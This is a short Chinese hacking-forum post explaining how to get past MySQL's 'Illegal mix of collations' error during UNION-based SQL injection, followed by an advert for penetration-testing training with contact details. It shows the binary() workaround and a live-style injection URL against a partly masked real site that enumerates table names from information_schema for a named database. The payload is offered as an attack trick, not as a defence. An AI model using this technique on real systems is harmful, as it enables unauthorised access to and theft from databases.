MySQL注入 Illegal mix of collations for operation 'UNION' 解决办法

[复制链接]
发表于 2019-1-7 20:35:08 | 显示全部楼层 |阅读模式
Illegal mix of collations for operation 'UNION'

修改sql语句为如下格式
    $sql="select * from {$tablepre}members where nickname='".$nickname."'";    修改为
    $sql="select * from {$tablepre}members where nickname=binary('".$nickname."')";   

http://www.xxx.tw/page.php?menu_ ... ion%20select%20null,null,binary(table_name),null,null,null,null%20from%20information_schema.tables%20where%20table_schema=%27mooneor1_hofeng168%27%20limit%200,1
必火网络安全培训,北京实地培训,月月有开班,零基础入门,四个月打造渗透高手。
详情请加微信:nvhack/153-2000-4362,手机微信同号。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|女黑客安全网 |网站地图 | 津ICP备17008032号-3

GMT+8, 2026-7-27 12:12 , Processed in 0.080233 second(s), 24 queries .

Powered by Discuz! X3.5

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表